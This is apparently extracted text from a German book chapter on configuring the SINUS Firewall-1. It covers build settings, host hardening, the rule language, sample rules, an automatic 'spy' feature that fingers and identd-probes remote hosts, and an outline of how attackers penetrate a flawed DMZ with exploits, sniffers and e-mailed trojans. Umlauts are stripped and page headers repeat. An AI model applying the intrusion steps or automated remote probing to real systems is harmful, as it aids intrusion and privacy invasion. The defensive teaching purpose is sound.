beendet werden, damit Speicherplatz korrekt wieder freigegeben werden kann. sf_clear, sf_add, sf_replace und sf_delete werden aufgerufen, um die lineare Liste des Regelwerkes bearbeiten zu knnen, sf_flush and sf_flush_all sind bereits in ihren Funktionen beschrieben worden. Wenn immer der Befehl SF_COMMAND_FW_ADDR eingegeben wird, wird der Buffer kopiert. Hierfr ist die Funktion sf_write_config zustndig. Die Funktionen sf_rule_first und sf_rule_next werden fr die bergabe der Konfiguration an den aktuellen SFC Proze bei der Eingabe von "SFC SHOW" bentigt. Die nchste Regel, die bergeben wird, ist in rule_first_next gespeichert. Die Konfiguration wird also an den Filter bergeben, obwohl der Firewall-Dmon alle geraden aktiven Regeln kennt. Nur so kann der User sicher sein, da die Ausgabe der momentanen Filterregeln, Variablen und Zustnde auch tatschlich dem momentanen Zustand der Firewall zu einem bestimmten Zeitpunkt entspricht. Die etwas schlechtere Performance whrend dieses Zeitpunktes der Abfrage ist hier nicht so wichtig, da der Befehl "SFC SHOW" nicht so hufig ausgefhrt wird.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Hier werden die TRUSTED Hosts begrenzt Hier werden die FRIENDS Hosts begrenzt Begrenzung der Zahl der Variablen
include/sf_global.h #define SF_ADDRESS_CNT_MAX 340 Hier werden die Zahl der Clients begrenzt #define NUM_PROC_ENTRIES 21 Hier wird die Zahl der PROC-Eintrge bestimmt #define SF_TCP_HASH_SIZE 499 Fr viele Verbindungen mu die Zahl hochgesetzt werden. Es mu immer ca. Faktor 2 grer sein, als die Zahl der Verbindungen. Damit der HASH Mechanismus funktioniert, mu immer eine Primzahl gewhlt werden. include/sf_custom.h.in #define CONF_DIR #define LOG_DIR #define RUN_DIR #define LOG #define SPY_LOG #define REPORT #define #define #define #define #define LOG_WIDTH PID_FILE IPIPE OPIPE SFIDENT
"/etc/firewall.d/" "/var/log/" "/var/run/" LOG_DIR"firewall" LOG_DIR"firewall.spy" LOG_DIR"firewall.report" 132 RUN_DIR"firewall.pid" RUN_DIR"firewall.in" RUN_DIR"firewall.out" BIN_PREFIX"/sfident"
Pfad der Konfigurationsfiles Pfad der Logfiles Pfad der PID und PIPES File fr Logfiles SPY Logfiles Firewall Report Breite der Logeintrge ProzessID Pipe fr Lesen Pipe zum Schreiben Pfad zum Identd
#define PASSWD CONF_DIR"firewall.passwd" File fr Paworte #define DEFAULT_CONFIG CONF_DIR"firewall.conf" Konfigurationsfile #define GENERATED_CONFIG CONF_DIR"firewall.conf.new" berarbeites Konfigurationsfile #define #define #define #define #define #define #define DEVICE "/dev/firewall" MAIL "@MAILER@" FINGER "@FINGER@" FINGER_ARG "-pl" SPY_USING_RUSERS RUSERS "@RUSERS@" RUSERS_ARG "-al" 100 2*60 Firewall - Device Sendmailprogramm Fingerprogramm Optionen zu Finger Remote-User Identifikation Remote-User Argumente zu Remote-User Alle 100 Ereignisse 1 Logeintrag Verzgerungswert fr Wiederholungen
#define SPY_TIMEOUT
5*60
#define MAX_CLIENTS 5 Maximale Zahl der gleichzeitigen Clients. Fr viele Clients mssen die Zahlen der TCP Verbindungen und der HASH Wert stark vergrert werden. #define CLIENT_TIMEOUT 300 Wenn der Client hngt...
Zum Aufbau eines Hochleistungs-Firewall, die fragmentierte Pakete entgegennimmt, mu die Zahl der HASH Eintrge auf hohe Werte gesetzt werden, z.B. 15383. Warnung: Bei zu hohen Werten und zuwenig Memory werden alle Verbindungen abgebrochen. Die Zahl der Clients ist selber zu bestimmen. Beim Einsatz in schnellen Netzwerken sollte der Timeout heruntergesetzt werden. Nun sollte ein User firewall und eine Gruppe firewall angelegt werden. In dem File /etc/passwd sollte sich dann folgender Eintrag befinden: firewall:x:888:888::/dev/null:/bin/false In der Datei /etc/group sollte folgende Gruppe angelegt werden: firewall:x:888:
Die Firewall kann nun gestartet werden: sfc start Um den Verkehr berwachen zu knnen, kann man folgende Befehle testen: tail -f /var/log/firewall Die Firewall lt sich so wieder anhalten: sfc stop; rmmod sf Das Control Panel lt sich so starten: sfControl Warnung: Bei geladenem Kernelmodul ist jedes forwarden von Paketen unterbunden (default policy), nach dem Entfernen des Moduls besteht die Mglichkeit, da die Firewall vllig transparent ist, da Kernel forwarding aktiviert wurde. Empfohlen ist, whrend der Konfiguration der Firewall das Kabel in Richtung Internet zu ziehen..... Zur Sicherheit des Firewall Hosts sollte man folgende Dinge beherzigen: q Es sollte gengend Festplattenplatz zur Verfgung stehen q Es sollten keine User accounts vergeben werden q Remote Logins sollten verboten sein. Hier zu sind alle User zu lschen (auer root), die Datei /etc/securettys, und die Konsolen-Variablen in /etc/login.defs anzupassen. Zustzlich sollte man die Datei nologin in / mit touch /nologin anlegen. q Alle RPC und unbentigte Dienste sind aus der Datei /etc/inetd.conf zu entfernen. Aktive Dienste lassen sich mit netstat -a anzeigen. q Die Datei /etc/services sollte durch die mitgelieferte Datei ersetzt werden. Die Rechte sollten mit chmod 0644 /etc/services korrekt gesetzt werden. q Als Mailerdmon sei postfix oder qmail emfohlen, alternativ eigenen sich auch smap und smapd. Von smail und sendmail ist dringend abzuraten. q Zur berwachung der Firewall auf Vernderungen der Dateien sollte tripwire eingesetzt werden. Um die Datenbank der Prfsummen unvernderbar aufzubewahren, kann man diese auf eine mit Minix formatierte Diskette kopieren, den Schreibschutz aktivieren und diese dann in ein Verzeichnis mounten. Im BIOS Setup sollte dann die Bootsequenz auf C: A: eingestellt werden. q Es sollten folgende Cronjobs aktiviert werden: r Je nach Mailerdmon ist die Mailqueue im 10 Minuten Interwall zu leeren r sfc start sollte alle 5 Minuten laufen. Falls einmal der Firewall-Dmon abstrzen sollte, wird er dann automatisch neu gestartet r sfc reconfig flush_all sollte tglich einmal laufen. Es lscht hngende Verbindungen. An dieser Stelle sollte man auch die Logfiles komprimieren, an den Mailhost versenden oder in ein Ausgangsverzeichnis legen, wo es tglich z.B. von einem NT Server abgeholt wird.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Die Netzmaske mu nicht angegeben werden, wenn die Adresse eine Hostadresse ist, oder keine Subnettierung des Netzwerks stattfindet. Folgende Beispiele zur Erluterung: 129.132.1.18 129.132.0.0 193.135.255.0 = 129.132.1.18 mask 255.255.255.255 = 129.132.0.0 mask 255.255.0.0 = 193.135.255.0 mask 255.255.255.0
Aber Vorsicht: Die Adresse 129.132.20.0 ohne Netzmaske wird als Hostadresse angesehen, weil automatisch die Netzmaske 255.255.255.255 angenommen wird. Damit die Adresse als Netzwerkadresse angesehen wird, ist die Netzmaske 255.255.255.0 stets anzugeben !
/* trifft auf eine Regel zu*/ /* nchstes Gateway im Netz */ /* die eigene Adresse */
Das Paket erfllt die Regel, wenn die Quelladresse eine der Adressen ist, die nach dem Schlsselwort from und der Zieladresse eine der Adressen eine der Adressen nach dem Schlsselwort to ist. Anstelle einer Liste von IP - Nummern kann auch das Schlsselwort inside verwendet werden, welches der Ersatz fr alle Adressen, die unter internalnets angegeben worden sind. Die Verwendung des Schlsselwortes outside bezeichnet alle anderen, die nicht unter internalnets angegeben worden sind. Das knnte der Rest des Internets z.B. sein. Fr alle TCP und UDP Protokolle kann zustzlich noch ein Port oder ein Bereich von Ports angegeben werden. Hierfr kann auch der Name des Dienstes angegeben werden, z.B. telnet. Hierfr greift die Firewall auf die Definitionen in der Datei /etc/services zurck. Die Angabe eines Ports ohne eines der Protokolle tcp oder udp wird ignoriert. Hier ein Beispiel: from inside port telnet to 129.132.0.0, port 2700, 130.103.24.0 mask 255.255.255.0 port 3000..4000; Zum Schlu mu der notification level bestimmt werden, der der Firewall angibt, was zu tun ist, wenn die Regel erfllt ist. Hier werden alle Aktionen definiert, die neben denjenigen stattfinden sollen, die ber den Verbleib des Paketes entscheiden (accept, block oder reject). Der Level 0 gibt an, da der Firewall-Dmon und damit auch der User nicht ber das Ereignis informiert wird. Wenn der Level grer als 0 ist, dann wird automatisch ein Logeintrag vorgenommen, und alle Aktionen ausgefhrt, die in diesem notification level angegeben wurden. Wiederum sind natrlich die Regeln in dem File sehr wichtig. Wenn zwei Regeln gleichzeitig erfllt sind, dann hat die erste Regel Vorzug gegenber der zweiten Regel. Die Konsequenz daraus ist, da man stets zuerst die Speziellen Regeln definieren sollte, bevor man sich den allgemeinen Regeln zuwendet. Beispielsweise wenn alle UDP Pakete gesperrt sein sollen, auer diejenigen von dem Host 194.77.6.230, dann sollte man diese Regel in zwei Regeln aufteilen, und diese in der korrekten Reihenfolge notieren: accept udp from 194.77.6.230 notification_level 0; block udp notification_level 1;
q q
relevel ndert den notification level fr eine Regel, die diese Aktion ausgelst hat. Fr den Fall, da das nchste mal ein Paket genau wieder diese Regel erfllt, werden dann Aktionen gestartet, die ein einem neuen notification level definiert wurden. Dies ist insbesondere dann der Fall, wenn man einzelnen Ereignissen keine Bedeutung zumessen mchte, es sei denn, da diese gehuft auftreten. exec fhrt ein Shellkommando aus. Beispielsweise kann dieses dazu gebraucht werden, um ein Interface oder das gesamte System abzuschalten. Es knnen verschiedenste Aktionen gestartet werden, z.B. die berprfung des Systems auf vernderte Dateien, Einbrche, o.. call ruft einen weiteren notification level auf und fhrt die darin gelisteten Aktionen aus. let weist einer Variablen einen Wert zu. Ein Timeout Wert, der stets in Sekunden angegeben wird, kann am Ende des let Befehls angegeben werden. Wenn also eine Variable verndert oder verwendet werden mu, und der Zeitraum seit ihrer letzen Vernderung eine bestimmte Zeit berschreitet, dann wird die Variable auf 0 gesetzt.
Eine Filterregel kann definiert werden, die dynamisch der bestehenden statischen Filterkonfiguration hinzugefgt wird. In Ergnzung zu den oben beschriebenen Eigenschaften fr Filterregeln gibt es ein paar besondere Eigenheiten fr dynamische Regeln zu beachten. Wenn das Schlsselwort currentprotocol anstelle der Protokollbezeichnungen angegeben wird, dann wird dasjenige Protokoll desjenigen Paketes, welches die Regel erfllt und somit die Aktion ausgelst hatte, mit in die neue, dynamische Regel bernommen. Genauso knnen die Schlsselworte sourcehost, sourcenet, desthost, destnet after to und from verwendet werden, um Informationen aus der alten Regel in die neue, dynamische Regel zu bernehmen. Zuletzt kann man noch einen Timout Wert (in Sekunden gemessen) am Ende der Regel hinzufgen (optional). Dieser Timout sorgt dann dafr, da die Regel nach Ablauf einer bestimmten Zeit wieder gelscht wird. Man sollte dieses unglaublich mchtige Werkzeug nur mit grter Vorsicht einsetzen, da nur sehr schlecht vorherzusagen ist, welche Regel im Moment gerade aktiv ist, und warum. Es ist ebenfalls schwierig, genau die Einflsse der dynamischen Regeln untereinander zu bestimmen, weil, wie bei statischen Regeln auch, die Reihenfolge ihrer Aktivierung Auswirkungen auf deren Abarbeitung in der Liste hat. Andererseits lassen sich hiermit komplexe Proxy-Mechanismen formulieren und sogar ausgewachsene Proxy's ersetzen. Variablen knnen deklariert werden. Ihr Wert wird dann stets auf 0 gesetzt. Sie knnen nur Integerwerte speichern. Wenn also auf Variablen zugegriffen werden soll, dann kann optional einer der Begriffe sourcehost oder desthost nach dem Variablennamen angegeben werden, durch ein Doppelpunkt voneinander getrennt. Eine spezielle Instanz der Variablen wird erzeugt, wenn auf diese zugegriffen wird, wobei entweder die Quelladresse oder die Zieladresse desjenigen Paketes angegeben wird, welches diese Aktion ausgelst hat. Wenn die Variable so verndert wird, dann werden die Variable und deren Instanz verndert. Diese Eigenschaft kann dazu genutzt werden, die Hufigkeit eines Ereignisses zu ermitteln, absolut und nach Quell-und Zieladresse aufgeschlsselt. Im folgenden Beispiel werden die Variablen und der Timeout Mechanismus fr Variablen und dynamische Regeln gleichzeitig verwendet. Wenn ein Host die Firewall 100 mal in Folge in einem Abstand von maximal 2 Sekunden anpingt, dann werden alle Pakete von diesem Hosts fr 10 Minuten gesperrt. Der notification level dieser dynamischen Regel wird auf 0 gesetzt, um die Menge der anfallenden Log-Eintrge einzudmmen, die zwischen Filter und Firewall ausgetauscht werden: accept icmp icmp_echo to inside notification_level 10; notification level 10: let pingcount:sourcehost := pingcount:sourcehost + 1 timeout 2; if pingcount:sourcehost > 100 then block all from sourcehost notification_level 0 timeout 600 endif;
In der Praxis ist diese Frage oft schwieriger zu beantworten, als es den Anschein hat. Wenn ein Paket geblockt wird, also der Sender keine Fehlermeldung erhlt, dann knnte es sein, da der Host meint, da das Paket whrend der bermittlung verloren gegangen ist. Ein normaler Algorithmus in einem Programm oder Protokoll besitzt einen Timeout Mechanismus, der nach einigen Versuchen abbricht. Wenn dieser eine ICMP Meldung zurckerhlt, in welcher der Host darber informiert wird, da ein Paket nicht ausgeliefert werden kann (no route to host!), dann wird er sofort damit aufhren, welche zu senden. Man sollte aber niemals Pakete unbedacht mit einer Angabe einer Fehlermeldung (reject) ablehnen. Es knnte schlielich sein, da die Anwendung, die die Pakete sendet, ICMP Fehlermeldungen nicht interpretieren kann. In diesem Fall wrde eine Flut von Fehlermeldungen die freie Bandbreite der Leitungen unntig belasten. Auerdem wrde von der Firewall eine Unzahl von Fehlermeldungen gesendet werden. Die gngigen Implementierungen von TCP beachten sehr wohl ICMP Fehlermeldungen, aber in Abhngigkeit der Meldung (host unreachable), knnte der Sender meinen, da der Host nur vorbergehend berlastet ist, und wrde stndig die Pakete neu senden. Um also wirklich eine Verbindung zurckzuweisen, ist es notwendig, im TCP Paket noch ein Flag zu setzen, beispielsweise das RST Bit, welches das Ende einer TCP Verbindung einleitet.(reset) Viele Programme unterscheiden nicht zwischen den verschiedenen ICMP unreachable Mitteilungen. Somit kann es passieren, da ein Host vllig unerreichbar wird, was sicher nicht so beabsichtigt ist. ICMP Fehlermeldungen sollten also niemals einfach mit einem reject beantwortet werden. Um dieses Problem zu umgehen, benutzt die SINUS Firewall die Option reject with best, was bedeutet, da die TCP Pakete mit einem RST Flag zurckgesandt werden. Eine ICMP port unreachable Nachricht wird fr UDP und alle sonstigen Pakete erzeugt.
richtigen Reihenfolge eintreffen, dann werden diejenigen, die voreilig auf das Interface getroffen sind, geblockt, also verworfen.
setup_section
rules_section
= "internalnets" address { "," address } ";". = "mail_default" """ mailaddress(es) """ ";". = "block" rule ";".
accept_statement = "accept" rule ";". reject_statement = "reject" [ "with" ( | | | | | | rule ";". rule = [ "options" ip_option { "," ip_option } ] ( "all" | protocol_number | "icmp" [ icmp_type { "," icmp_type } ] | "igmp" [ igmp_type { "," igmp_type } ] | "tcp" | "udp" | "rip" [ ( address { "," address } | inside | outside ) ] ) [ "from" ( fulladdr { "," fulladdr } | "inside" [ "port" port [ ".." port ] ] | "outside" [ "port" port [ ".." port ] ] ) ] [ "to" ( fulladdr { "," fulladdr } | "inside" [ "port" port [ ".." port ] ] | "outside" [ "port" port [ ".." port ] ] ) ] "notification_level" value. ip_option = ( "record_route" | "timestamp" | "security" "icmp_net_unreachable" "icmp_host_unreachable" "icmp_protocol_unreachable" "icmp_port_unreachable" "tcp_reset" "best" "echo_reply" ) ]
| | | | icmp_type = ( | | | | | | | | | | | | igmp_type = (
"loose_source_route" "strict_source_route" "sat_id" "time_to_live" ( "<" | "=" | ">" | "!=" ) value ). "icmp_echo_reply" "icmp_destination_unreachable" "icmp_source_quench" "icmp_redirect" "icmp_echo_request" "icmp_time_exceeded" "icmp_parameter_problem" "icmp_timestamp" "icmp_timestamp_reply" "icmp_info_request" "icmp_info_reply" "icmp_address" "icmp_address_reply" ).
"igmp_host_membership_query" | "igmp_host_membership_report" | "igmp_host_leave_message" ). address [ "port" port [ ".." port ] ] | "port" port [ ".." port ] ).
fulladdr
= (
address port
notification_section = "notification" "level" ( value | "spoof" ) ":" ( { entry ";" } | ";" ) { "level" ( value | "spoof" ) ":" ( { entry ";" } | ";" ) }. entry = ( | | | | | | | | "message" """ text """ { """ text """ } "syslog" "report" "mail" [ """ mailaddress(es) """ ] "spy" "exec" """ command """ "relevel" value "call" value "if" ( variable | value ) ( "<" | "=" | ">" | "!=" ) ( variable | value ) "then" { entry ";" } "endif" "let" variable ":=" ( value | "destport" | variable [ ( "+" | "-" ) ( value | variable ) ] ) [ "timeout" seconds ] dynamic_rule [ "timeout" seconds ]
| ). variable
[ special keywords allowed in dynamic_rule: "currentprotocol" "sourcehost" "sourcenet" "desthost" "destnet" uses protocol of actual packet uses source host address uses source net address uses destination host address uses destination net address ]
Hier nun einige Beispiele die zeigen, wie leistungsfhig diese Programmiersprache ist. Zuerst sollte man sorgfltig die Syntax studieren. In diesem Abschnitt wird ein praktisches, funktionierendes Beispiel einer Konfiguration beschrieben. Es ist als Konfigurationsfile in der Distribution unter samples/ zu finden. setup internalnets 193.194.195.0; mail_default "[email protected]"; rules # Some simple alarming rules to detect hackers block tcp to port 87, /* link */ port 95 /* supdup */ notification_level 99; block options loose_source_route, strict_source_route all notification_level 13; # ...omit some more RIP statements # detect secondary routes to the internet block rip from inside notification_level 12; # ...omit some more statements having notification level 0 # Permit incoming FTP requests to our FTP server only accept tcp to 130.59.4.16 port 21 notification_level 1; # Permit incoming Telnet requests to our Telnet/Login Server only accept tcp to 130.59.4.16 port 23 notification_level 2; accept all from 127.0.0.1 to 127.0.0.1 notification_level 0; # block all other TCP connection requests and trigger the alarm block tcp notification_level 99; notification level 1: /* log all permitted incoming FTP connection requests */ message "FTP connection request."; level 2: /* log all permitted incoming Telnet connection requests */ message "Telnet connection request."; level 3: /* log all permitted incoming WWW connection requests */ message "WWW connection request.";
level 11: message "ICMP redirect received."; level 12: message "There may be a secondary route to the internet."; level 13: message "IP packet with source route option detected"; let sr:sourcehost := sr:sourcehost + 1 timeout 300; if sr:sourcehost = 1 then message "IP packet with source route option detected"; spy; endif; level 99: message "Illegal TCP connection."; syslog; let illtcp:sourcehost := illtcp:sourcehost + 1 timeout 600; if illtcp:sourcehost = 1 then message "Illegal TCP connection."; mail; spy; endif; end. Diese Beispiele zeigen alle Mglichkeiten der Benutzung der Schlsselwortes notification. Der Einsatz der Befehle ist einfach, z.B. exec /sbin/ifconfig eth0 down sorgt dafr, da die Netzwerkkarte deaktiviert wird. Im Gegensatz zu den nur zeitweise aktiven, dynamischen Regeln, die statische Regeln vorbergehend ersetzen, ist die Regel relevel permanent, also von Dauer. Angenommen, level 100 war der notification level, der ausgelst wurde, als die Firewall gepingt wurde. Das Logfile wrde sehr schnell anwachsen, wenn wirklich jedes ping geloggt wrde. Die erste Idee ist, ein relevel auf die Regel anzuwenden: notification level 100: message "Wir sind gepingt worden"; relevel 0; Genau dies ist aber eine schlechte Idee. Ein einzelnes ping wrde ausreichen, um die Regel quasi auer Betrieb zu nehmen. Weitere ping Versuche wrde nicht mehr entdeckt werden knnen. Da die Regel nach dem ersten Ping auer Funktion gesetzt wird, erscheinen in dem Logfile also alle weiteren Pings nicht mehr. Das ist so sicher nicht beabsichtigt. Damit auch alle weiteren Pings bemerkt werden knnen, mu die Regel so aussehen: notification level 100: let pings:sourcehost := pings:sourcehost + 1 timeout 600; /* 10 minutes */ if pings:sourcehost = 1 then message "We have been pinged"; endif; Wenn wir einen versuchten DoS Angriff (Denial of Service) mitloggen mchten, dann knnen wird eine dynamische Regel hierfr verwenden, und danach alle weiteren Ping blocken.(block) if pings:sourcehost > 1000 then message "Mglicher denial-of-service attack";
spy; block all from sourcehost notification_level 0 timeout 600; endif; Natrlich ist es so nicht mglich, einen echten DoS Angriff, der in der Folge oder abwechselnd ftp Verbindungen aufbaut, zu bekmpfen. Wichtig ist es jedoch, z.B. Hosts mit ftp Diensten vor einem solchen Angriff zu bewahren. Wie man sieht, ist es mit der SINUS Firewall-1 mglich, aufgebaute Verbindungen in Variablen zu vermerken und daraufhin weitere Regeln zu aktivieren. Wer sich einmal in Kapitel Netmeeting Protokoll umschaut, der wird erkennen, da man, um einen Netmeeting Proxy zu simulieren, genau diesen Mechanismus implementieren kann. Leider mu die SINUS Firewall-1 fr die weiteren UDP bertragungen ber wechselnde Ports oberhalb von 1024 zu einem bestimmten Host im Internet alle UDP Ports zu dem Client im geschtzten Intranet freigeben. Die Regel wird also etwas lnger.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
sfc stop; sfc reconfig neue_konfiguration.conf Dieser Befehl startet eine neue Konfiguration. Hierbei werden alle Parameter von bestehenden TCP Verbindungen bernommen ! Verbindungen, die nach den neuen Regeln verboten sind, werden beendet. Hierzu knnen optional noch zwei weitere Parameter bergeben werden: flush ist die Default Einstellung, die alle erlaubten Verbindungen aufrechterhlt. flush_all beendet alle Verbindungen. Diese Option entspricht einem Stop und dem Neustart.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Variables: mails = 0 pings = 5, timeout Aug 03 15:13:53 host 193.194.195.196 = 3, timeout Aug 03 15:13:53 alerts = 3 Die Ausgabe zeigt den Namen der Variablen und ihren Wert an. Wenn der Variablen nur vorbergehend
ein Wert zugewiesen wurde, so ist der entsprechende Timeout angezeigt. Wenn die Variable in viele Hosts unterteilt wurde (Instanz), dann werden alle Werte aller Host-IP - Nummern und eventuell deren timeout mit ausgegeben.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
level, wie das spy Schlsselwort befindet, dann werden zustzlich die Ergebnisse per e-Mail zugestellt. Hier ein paar Beispiele fr eine Ausgabe in firewall.spy: FIREWALL COUNTER INTELLIGENCE REPORT, Aug 09 12:20:02 Triggered by: (s 13) accept TCP 1.2.3.4:1065->193.194.195.196:telnet Host address: 1.2.3.4 Host name: oval.office.gov identd information: User ID: mlevinski. finger information: [1.2.3.4] Login: mlevinski Name: Monica Levinski Directory: /home/unabom Shell: /bin/csh On since Wed Aug 9 10:27 (EST) on tty1 No Mail. No Plan. Login: bclinton Name: Bill Clinton Directory: /home/bclinton Shell: /bin/bash On since Wed Aug 9 9:32 (EST) on tty2, idle 0:22 New mail received Wed Aug 9 12:18 1995 (EST) Unread since Tue Aug 8 20:03 1995 (EST) Plan: Hanging around :)) rusers information: mlevinski localhost:tty1 bclinton localhost:tty2 Einige Erluterungen zu diesem Beispiel: Entsprechend der Gre der Logeintrge, die nur wenige Informationen des untersuchten Hosts erzeugen, solle man mit dieser Funktion uerst sparsam umgehen, und dessen Einsatz stets auch zeitmig begrenzen, also die Funktion auf nur einmal alle 10 Minuten zulassen. Andernfalls ist mit einem DoS Versuch gegen die Firewall zu rechnen. Das wre dann zwar kein echtes Problem, es ist aber stets unangenehm, wenn die Festplatte oder der Briefkasten voll luft und die Firewall dann ihre Arbeit einstellt. Wohin die Ausgabe geschrieben wird Jede Ausgabe wird in die firewall.log Datei geschrieben. Wenn zudem noch das Schlsselwort syslog angegeben wurde, wird ein Eintrag in die syslog Datei erfolgen. Bei Angabe des Schlsselwortes report wird diese Meldung in die Datei firewall.report geschrieben. Gibt man das Schlsselwort mail an, so werden diese Meldungen zustzlich noch an einen e-Mail host
Aug Aug
9 10:27 9 9:32
:22
gesendet. Das kann in dem Fall sehr ntzlich sein, wenn dem Angreifer ein Einbruch in das System gelingen sollte, und dieser die Log Dateien beginnt, zu lschen. Verwendete Abkrzungen Wegen den verwendeten Abkrzungen, die allein den Zweck haben, das Logfile nicht zu schnell anwachsen zu lassen, ist es unverzichtbar, da man sich mit einigen Krzeln vertraut macht. Regel Typen: q s statische Regel q d dynamische Regel q SPOOF Beinhaltet die Angabe des Interfaces Filter Aktionen: q accept q block q reject (mit Angabe des Typs) Protokolle: q RIP q TCP q UDP q ICMP Sofern die Protokolle ber Ports kommunizieren, so sind Quell- und Zielhost mit angegeben.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Der Aktivittsmonitor
Das wichtigste bei einer Firewall ist die stndige berwachung aller Verbindungen. Whrend im Hintergrund die Firewall Log-Dateien auf die Festplatte oder auch evtl. auf einen Log-Server schreibt, ist es beim Auftreten von merkwrdigen Ereignissen wichtig, da man sofort sehen kann, was im Netzwerk passiert. Bei einer berwachung eines greren Netzwerkes mit mehreren Firewalls gleichzeitig (z.B. mehrere Abteilungen), kann sich der Systemadministrator den Status einer jeden einzelnen Firewall am Aktivittsmonitor anzeigen lassen. Bei einer Kopplung der Firewalls untereinander werden zustzlich auch noch die Statusinformationen der Verbindungen angezeigt, die ber die benachbarten Firewalls laufen. Da die Firewalls untereinander kommunizieren, reicht also ein einziger Blick auf einen Aktivittsmonitor aus, um einen berblick ber das gesamte Netzwerk zu erhalten. Alle 5 Sekunden werden die Eintrge aktualisiert. Bestehende Verbindungen knnen ber dieses Interface abgebrochen werden.
Wer SINUS Firewall-1 Cluster einsetzt, der kann hiermit auch mehrere Gateways gleichzeitig berwachen. Die Regeln bertragen sich so auch auf die anderen Firewalls. Somit lt sich die "security policy" leichter umsetzen. Man sieht hier schon die Unterscheidung zwischen Netzwerken mit mehreren Hosts, einzelnen Hosts, den Netzwerken selber, und dem Internet.
SINUS Host-Editor
Mit dem Host-Editor wird der Firewall mitgeteilt, welche Netzwerknummern und IP-Nummern an welcher Stelle des Netzwerkes auftreten. Die Firewall bentigt diese Informationen, um z.B. Spoofing Angriffe abwehren zu knnen. Der Host Editor ist natrlich nur in Verbindung mit dem Topologie-Editor sinnvoll. Zuerst werden Hosts definiert, spter knnen diese mit anderen Hosts oder Netzwerken ber den Toplologie - Editor in Verbindung gebracht werden.
SINUS Regel-Editor
Die SINUS Firewall ist programmierbar. Man kann z.B. fr die berwachung von neuen Protokollen bestimmte Regelwerke programmieren, und mit dem Editor einfach dann einfach aktiviert werden knnen. Hier sieht man die Beschreibung einer Regel. Eine Regel besteht aus der Angabe des Protokolls (Mitte), der Information, was die Firewall damit tun soll (links oben), der Information der Richtung der Pakete (rechts oben), verschiedenen Optionen und zum Schlu der Beschreibung dessen, was in den Logfiles eingetragen werden soll, falls die Regel zutrifft bzw. verletzt wird.
Abbildung:SINUS Regel - Editor Damit man stets alle Regeln im berblick hat, zeigt der Regel - Editor alle Regeln noch einmal im berblick mit allen Details. Durch einfachen Klick auf die Regel knnen Sie diese dann verndern.
SINUS Satan-Detektor
Die SINUS Firewall besitzt die Mglichkeit, Scanner an Ihrer Scanweise zu erkennen. Wird z.B. ein bestimmtes Muster erkannt, dann wird unverzglich dem Systemadministrator dieser Vorfall mit Angabe des Scannertyps gemeldet. Danach kann der Systemadministrator mit Hilfe der Informationen, die am Aktivittsmonitor angezeigt werden, entsprechend entscheiden, ob er Gegenmanahmen ergreifen mu. Hier sehen Sie ein kleines Beispiel der leistungsfhigen Programmiersprache der SINUS Firewall.
Abbildung:SINUS Satan-Detector
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
I N T E R N E T ^ | Router | | Transfernetz | SERVER 1 SERVER 2 | WWW/FTP/DNS Mail/News | WWW-PROXY | Firewall | | | | | <---+--------+--------+-------------+------->lokales Netz | | | | Host A Host B Host C Host D Beispiel 1
I N T E R N E T ^ | | MSQ-Router | lokales Netz <---+--------+--------+--------+-------> | | | | Host A Host B Host C Host D Beispiel 2 Betrachten wir einmal die Konfiguration in Beispiel 1. Das Netz besitzt feste, vom Provider zugewiesene IP Nummern. Die Firewall arbeitet selber nicht als ISDN-Router, ist aber ber ein Transfernetz (192.168.x.x) mit dem Router verbunden. Die Hosts A-D sind Arbeitsplatzrechner, die ber den WWW-PROXY von Server 1 Zugang zum Internet besitzen. Die Firewall schirmt einige Ports des Server 1 ab, erlaubt aber Zugriffe auf den WWW-Server ber Port 80 (HTTP) und Port 21 (FTP) aus dem Internet. Server 2 ist ein "store and forward" PROXY, der als interner DNS-Server, Mail-Server und NEWS-Server arbeitet. Die Firewall erlaubt keinen Zugriff auf Server 2 aus dem Internet. Ein Security Check mit SATAN oder SAINT aus dem Internet zeigt keine Probleme, alle Filterregeln sind korrekt eingestellt. Um es vorweg zu nehmen - Ein Angreifer wre in wenigen Minuten in das Netzwerk vorgedrungen. Wo liegen die
Probleme ? Problem 1 Der Angreifer sieht von auen nur folgende Ports: 25, 21, 53 und 3128 von Server 1, Server 2 sei abgeschirmt. Der Angreifer ist dadurch, da er direkten Zugriff auf die Ports der internen Server hat, in der Lage, das Betriebssystem des Servers genau zu bestimmen. ber e-Mails aus dem Netz (kleine Anfrage) wrde er genau wissen, ob eventuell das Netz mit Masquerading oder NAT aufgebaut ist. Er kennt dann genau das e-Mail Gateway (Server 2) und kann anhand der Headerinformationen das verwendete Betriebssystem genau identifizieren. Nun sucht er in den einschlgigen Archiven nach "exploits", die von innen oder von auen her einen buffer overflow initiieren. Angenommen, Server 1 htte ein solches Problem. Es werden immer neue bekannt, im Prinzip mu der Angreifer nur warten. Dann wre Server 1 im Netzwerk verloren. Der Angreifer knnte alle Dienste mit Supervisor Rechten starten. Da die Firewalls offene Ports hat, kann der Angreifer weitere Programme, die er bentigt, von Server 1 aus dem Internet downloaden. Dies knnten z.B. Netzwerksniffer sein, der ihm dann die Paworte zu allen Servern im Netzwerk und jeden Zugriff auf alle Server im Netz ermglichen wrde. Die Firewall selber interessiert den Angreifer nicht, da er nach eigenem Belieben Tunnel ber die offenen Ports aufbauen kann. Problem 2 Angenommen, er wrde auf die Schnelle keinen exploit finden. In diesem Falle kann er irgendeinem User ein trojanisches Pferd via e-Mail senden, und darauf warten, da dieser es installiert. Da er den Namen des e-Mail Gateways kennt, kann er mit diesem ein Gateway in das Internet aufbauen, sofern die Firewall die Funktion "transparent proxy" aktiviert hat. Verschiedene Proxy-Module der Firewall erleichtern dem Angreifer den Aufbau eines Tunnels von einem Arbeitsplatz aus zu einem Server im Internet. Problem 3 Es ist ein Split-DNS - Server 